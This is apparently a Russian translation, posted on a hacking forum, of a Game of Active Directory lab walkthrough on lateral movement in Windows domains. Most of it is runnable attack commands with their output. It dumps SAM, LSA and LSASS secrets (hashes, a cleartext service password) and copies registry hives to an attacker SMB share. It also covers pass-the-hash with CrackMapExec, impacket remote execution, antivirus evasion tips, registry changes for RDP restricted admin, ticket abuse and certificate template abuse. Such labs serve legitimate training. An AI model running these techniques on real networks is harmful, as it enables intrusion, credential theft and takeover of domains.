• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья GOAD - часть 9 - Боковое перемещение

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

В предыдущем посте мы попробовали несколько методов повышения привилегий. Сегодня мы поговорим о латеральном перемещении. Боковое перемещение применяется, когда вы уже взломали компьютер и переходите с этого компьютера на другой.

Отдайте мне свои секреты

Прежде чем переходить от компьютера к компьютеру, мы должны получить секреты принадлежащей нам машины.
Windows имеет множество различных секретов, хранящихся в разных местах.
Давайте запустим impacket secretsdump.py и посмотрим, что у нас есть:
Код:
python3 secretsdump.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22
Impacket v0.10.1.dev1+20220912.232454.86a5cbf8 - Copyright 2022 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9753797dfb54be86486d950690bac8ba
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
NORTH.SEVENKINGDOMS.LOCAL/Administrator:$DCC2$10240#Administrator#afb576755bfd2762f808e2e91eb83eb3
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5
NORTH.SEVENKINGDOMS.LOCAL/jeor.mormont:$DCC2$10240#jeor.mormont#36d673a934e86d04ece208fc2ba1d402
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:69c32491ad552dc341b9f989daeb91243031a3267708f424461f5134fd6275f5
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:0cc49644dd699c02fb34b6ff81a86f8a
NORTH\CASTELBLACK$:des-cbc-md5:3b4fa8679e7f738a
NORTH\CASTELBLACK$:plain_password_hex:9257eeecf6e89023aefa9cc72aab5e0840541b0a494fb5dd90da4244525d3ff3dd237022108f1d811eaf1588cb96a26b9f9ff01326a300893436819216565d07d9ab02a5feb2223d80db9881e4cafdcc939bcbd8b404cfd8ef4f199c233e6adc22963de84bfb172b4ed8afd798c0589ae5c0e304965784e5785cd1fcbccfe30c9b01828d2f10e6fc758eba3be36ec9f5f84bf4e8606bfedbfcfd4700142884277862817141ba9b41d5e9cb4aad33f1153e9e6d166af5077d0ceec54e97614e48b09575732db2053b5da17844015aac0a83d4f3e82d33f0f626f41634e0d445bb80396edf4398b07a1e1644b301665c5f
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:22d57aa0196b9e885130414dc88d1a95:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x8ee2a1f0f4c1689343c9d954b1422661262a52a3
dpapi_userkey:0xad6d3e6789682c3429236b14411f92f406792486
[*] NL$KM
 0000   39 FB 46 D8 43 B6 EC E6  DE D7 CE 1C 50 2D AE B4   9.F.C.......P-..
 0010   4F 71 E1 25 BF 5E FB 14  86 14 D6 A3 0F 93 DE 42   Oq.%.^.........B
 0020   06 48 F4 35 B1 45 83 7E  1A 98 29 D6 45 19 14 D2   .H.5.E.~..).E...
 0030   C4 66 57 03 2B C5 04 01  AE 33 49 CD D2 E0 92 CE   .fW.+....3I.....
NL$KM:39fb46d843b6ece6ded7ce1c502daeb44f71e125bf5efb148614d6a30f93de420648f435b145837e1a9829d6451914d2c46657032bc50401ae3349cdd2e092ce
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...
[*] Stopping service RemoteRegistry

База данных менеджера безопасности учетных записей (SAM)

Для начала с помощью secretdump получите хэши SAM:

Код:
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::

Давайте поговорим о базе данных sam.

Security Account Manager (SAM) - это база данных, которая присутствует на компьютерах под управлением операционных систем Windows и хранит учетные записи пользователей и дескрипторы безопасности для пользователей на локальном компьютере.
База данных sam находится по адресу : C:\Windows\System32\config\SAM и монтируется в реестре по адресу HKLM/SAM.
Для расшифровки данных необходимо содержимое системного файла, расположенного по адресу C:\Windows\System32\config\SYSTEM и доступного в реестре по адресу HKLM/SYSTEM.
SecretDump получает содержимое HKLM/SAM и HKLM/SYSTEM и расшифровывает его.
Мы сделали дамп базы данных sam с помощью secretsdump, но это можно сделать и с помощью следующих команд:
Код:
smbserver.py -smb2support share .  # start a server to get the result
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SAM' -o '\\192.168.56.1\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.1\share'
Или непосредственно в шелле windows:

reg save HKLM\SAM c:\sam
reg save HKLM\SYSTEM c:\system

С помощью SAM и SYSTEM мы получаем содержимое хэшей LM и NT, хранящихся в базе данных SAM.

База данных SAM содержит все локальные учетные записи
secretsdump получил команду для расшифровки содержимого Sam с помощью файлов, которые мы загрузили:

Код:
secretsdump -sam SAM.save -system SYSTEM.save LOCAL

lateral_hashdump.png


Результат будет в следующем формате:

Код:
<Username>:<User ID>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:

В нашем случае получаем:

[CODE
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
user: Administrator
RID : 500
LM hash : aad3b435b51404eeaad3b435b51404ee (this hash value means empty)
NT hash : dbd13e1c4e338284ac4e9874f7de6ef4 (this is the important result here)
[/CODE]

И вот он, долгожданный NT-хэш учетной записи администратора, так что мы можем попробовать с ним пойти дальше.

Повторное использование пароля и атака PTH

В пентесте, когда вы скомпрометировали первую цель в системе active directory, вы всегда должны проверить, одинаковы ли локальные учетные записи на всех серверах.
Почти всегда, когда клиенты не дотягивают до уровня безопасности, они дублируют один и тот же образ для создания всех серверов. При этом они также дублируют одну и ту же учетную запись администратора и пароль.
Это приводит к повторному использованию пароля во всей сети. Одним из лучших способов злоупотребления повторным использованием паролей является атака Pass The Hash (PTH) во всей сети с помощью CrackMapExec.

Код:
cme smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4' --local-auth

lateral_pth_local.png


Здесь мы видим, что нет повторного использования пароля между castelblack и другими серверами.
Но когда компьютер подключается к контроллеру домена, пароль локального администратора используется в качестве пароля администратора домена, поэтому можно проверить повторное использование пароля между локальной учетной записью администратора и учетной записью администратора контроллера домена.
Код:
cme smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4'
Как мы видим, NT-хэш пароля локального администратора, который мы извлекли из базы данных sam в castelblack, совпадает с NT-хэшем локального администратора north.sevenkingdoms.local.
Повторное использование пароля от castelblack и winterfell дает нам полномочия администратора домена на северном домене.

LM/NT/NTLM/NetNTLMv1/NetNTLMv2 в чем разница?

Существует большая путаница между именами хэшей, и это может очень мешать людям, когда они начинают работать с active directory:
  • LM : старый формат отключен по умолчанию, начиная с Windows Vista/Server 2008
  • NT (он же NTLM) : расположение SAM и NTDS: Используется для передачи хэша (я все еще часто использую общий термин ntlm, чтобы назвать это, извините).
  • NTLMv1 (он же NetNTLMv1) : Используется в вызове/ответе между клиентом и сервером -> может быть взломан или использован для передачи NTLM
  • NTLMv2 (a.k.a NetNTLMv2) : То же, что и NetNTLMv1, но улучшенный и более сложный для взлома -> может быть взломан или использован для передачи NTLM.

LSA (Local Security Authority) и кэшированная информация о входе в домен

Когда ваш компьютер включен в AD windows, вы можете войти в систему с учетными данными домена. Когда домен недоступен, вы все равно можете использовать свои учетные данные, даже если контроллер домена недоступен. Это происходит из-за кэшированной информации о входе в домен, которая хранит учетные данные для проверки вашей личности. Она хранится в C:\Windows\System32\config\SECURITY (доступно в HKLM\SECURITY). Как и для базы данных sam, вам понадобится системный файл, расположенный по адресу C:\Windows\System32\config\SYSTEM и доступный в реестре по адресу HKLM/SYSTEM.
Код:
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.1\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SECURITY' -o '\\192.168.56.1\share'
И извлекаем содержимое:
Код:
secretsdump -security SECURITY.save -system SYSTEM.save LOCAL

lateral_lsa_secrets_and_cache.png


Это дает нам множество взаимосвязанных данных:

Кэшированные учетные данные домена: пример: NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405 Это даст нам хэш DCC2 (Domain Cached credentials 2 ) (режим hashcat 2100). Этот хэш НЕ может быть использован для PTH поэтому и должен быть взломан. Это криптостайкий хэш и если пароль не слабый на его взлом уйдёт вечность. Учетная запись машины: пример здесь: $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:22d57aa0196b9e885130414dc88d1a95 Здесь содержится NT-хэш учетной записи машины, здесь он 22d57aa0196b9e885130414dc88d1a95
Помните, что учетная запись машины - это действительная учетная запись в домене.
Учетная запись машины (здесь castelblack$ ) + хэш NT, который мы только что получили, можно использовать для запроса к ldap.

Учетные данные учетной записи службы:
Код:
 [*] _SC_MSSQL$SQLEXPRESS
(Unknown User):YouWillNotKerboroast1ngMeeeeee

Это реестр учетной записи sql_svc на компьютере castelBraavos.
Здесь же находится главный DPAPI ключ и пароль для автологина

Секреты LSA -> Боковое перемещение


Для того чтобы перейти к боковому перемещению с помощью LSA, мы можем :

Взломать хэш DCC2 для получения учетной записи домена
Использовать учетную запись машины для запроса ldap и найти способы эксплуатации с помощью ACL (так же, как и для учетной записи пользователя)
Использовать учетные данные, хранящиеся в учетной записи службы, которые мы только что получили.
Классическим примером может быть запуск bloudhound.py с учетной записью компьютера.

lateral_bloodhound_py_with_computer_hash.png


LSASS (Local Security Authority Subsystem Service)

Еще одним важным хранителем секретов в windows Active directory является процесс LSASS.exe. С помощью таких инструментов, как mimikatz, можно сделать дамп содержимого процесса LSASS. Инструмент особенно полезен при боковом перемещении + удаленном дампе lsass : lsassy Этот инструмент объединяет несколько технологий для удаленного дампа LSASS на нескольких компьютерах. Сброс LSASS почти всегда вызывает тревогу у антивируса на целевом компьютере. Вам придется использовать технику обхода антивируса, чтобы иметь возможность сделать дамп процесса lsass.exe.

Мы будем использовать lsassy в сочетании с модулем dumpert (для получения dll-файла вам придется сначала скомпилировать dumpert).

Код:
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p _L0ngCl@w_ 192.168.56.22 -m dumpertdll -O dumpertdll_path=/workspace/Outflank-Dumpert-DLL.dll

lateral_lsassy_dumpert.png


Защитник av срабатывает с дампом из коробки, но lsassy все еще имеет возможность получить информацию о дампе. Затем мы узнаем NTLM-хэш домена и TGT из процесса Lsass.
Теперь представьте, что привилегированный пользователь запускает соединение с castelblack
Код:
xfreerdp /d:north.sevenkingdoms.local /u:catelyn.stark /p:robbsansabradonaryarickon /v:castelblack.north.sevenkingdoms.local /cert-ignore

Мы перезапускаем дамп и теперь видим, что в результатах есть хэш ntlm catelyn.stark и файл kirbi
lateral_lsassy_dumpert_catelyn.png


Дамп LSASS -> доменные пользователи NTLM или aesKey -> боковое перемещение (PTH и PTK)

Прежде чем перейти к некоторым техникам бокового перемещения, я рекомендую вам прочитать следующие статьи об обычных техниках, реализованных в impacket:

В impacket мы можем использовать :
PTH : -хэши
PTK : -ключ <aes128 или 256key>

Боковое перемещение с помощью impacket
  • PsExec
  • PsExec:
  • загрузить исполняемый файл
  • создайте службу для запуска исполняемого файла
  • Общайтесь со службой с помощью namedPipe.
  • Протокол : SMB
Код:
psexec -hashes 'cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11

PsExec помечается defender'ом и больше не может использоваться с бинарным файлом службы RemCom, встроенным в impacket, без предупреждения и отказа. Impacket предоставляет возможность изменить сервис, используемый psexec, с помощью опции -file. Создав собственный сервис psexec, вы можете обойти defender av и получить оболочку

lateral_custom_psexec.png

lateral_custom_psexec_wireshark.png



WmiExec​

WmiExec (псевдо-шелл):
  • Создайте новый процесс через wmi
  • Создайте файл, чтобы получить результат команды, прочитайте файл с помощью smb и удалите его.
  • Протоколы: DCERPC + SMB
Код:
wmiexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11
lateral_wmi_exec.png

lateral_wmiexec_wireshark.png


SmbExec​

SmbExec (псевдо-шелл):
  • Не загружать исполняемый файл
  • Создавайте сервис по каждому запросу
  • Получить результаты команды на общем ресурсе или на сервере, контролируемом злоумышленником (с -mode SERVER)
  • Протокол SMB
Код:
smbexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11

lateral_smbexec.png


lateral_smbexec_wireshark.png


AtExec (выполнение команд):​

Используйте протокол SMB и задавайте команды по расписанию:
Код:
atexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11
lateral_atexec.png


lateral_atexec_wireshark.png


DcomExec​

DecomExec (объектная модель распределенных компонентов):
  • псевдо-шелл (получить результат в файлах, полученных с помощью smb)
  • протокол DCERPC + SMB
Код:
dcomexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11

lateral_dcomexec.png

lateral_dcomexec_turnofffirewall.png

lateral_dcomexec_wireshark.png


Боковое перемещение с CME​


Код:
cme smb 192.168.56.11 -H ':cba36eccfd9d949c73bc73715364aff5' -d 'north' -u 'catelyn.stark' -x whoami
По умолчанию cme проверяет только, доступен ли для записи smb admin$. Если это так, то покажет «pwned».
Для выполнения cme используйте параметр -x и по умолчанию используйте метод impacket wmiexec.

lateral_cme.png


Использование winrm по протоколам HTTP или HTTPS​

Код:
evil-winrm -i 192.168.56.11 -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5'

lateral_winrm.png

lateral_evilwinrm_wireshark.png


Использование RDP​

Если вы попытаетесь сделать PTH с RDP:
Код:
xfreerdp /u:catelyn.stark /d:north.sevenkingdoms.local /pth:cba36eccfd9d949c73bc73715364aff5 /v:192.168.56.11
lateral_rdp_restriction.png

Чтобы разрешить rdp-соединение без пароля, вы должны включить ограниченный доступ администратора.
Вот так вот:
Код:
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
Давайте сделаем это из Linux, сначала покажем текущее значение:
Код:
reg.py NORTH/catelyn.stark@192.168.56.11 -hashes ':cba36eccfd9d949c73bc73715364aff5' query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa'
lateral_rdp_query_disable_restricted_admin.png


Значение не существует, мы его создаем:
Код:
reg.py NORTH/catelyn.stark@192.168.56.11 -hashes ':cba36eccfd9d949c73bc73715364aff5' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'

Теперь rdp соединение заработало

lateral_rdp_work.png


Как закончите, почистите реестр:

Код:
reg.py NORTH/catelyn.stark@192.168.56.11 -hashes ':cba36eccfd9d949c73bc73715364aff5' delete -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin'

Golden Tiket

Over Pass the Hash (NT -> TGT -> аутентификация) -> получаем тикет из хеша NT:​

Код:
getTGT.py -hashes ':cba36eccfd9d949c73bc73715364aff5' north.sevenkingdoms.local/catelyn.stark

Теперь используем тикет catelyn:

Код:
export KRB5CCNAME=/workspace/tgt/catelyn.stark.ccache
wmiexec.py -k -no-pass north.sevenkingdoms.local/catelyn.stark@winterfell

lateral_hash_to_tgt.png


Так же используем тикеты с lsassy, используя impacket ticketConverter:

Код:
ticketConverter.py kirbi_ticket.kirbi ccache_ticket.ccache
lateral_ptt.png

Сертификат​

Передайте сертификат (Cert -> NTLM или TGT)​

  • В нашем случае ESC1
Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local
С помощью certipy мы можем запросить хэш ntlm пользователя и TGT.
Код:
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
lateral_certificate.png


использованная литература​

В следующий раз мы повеселимся с делегированием kerberos
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх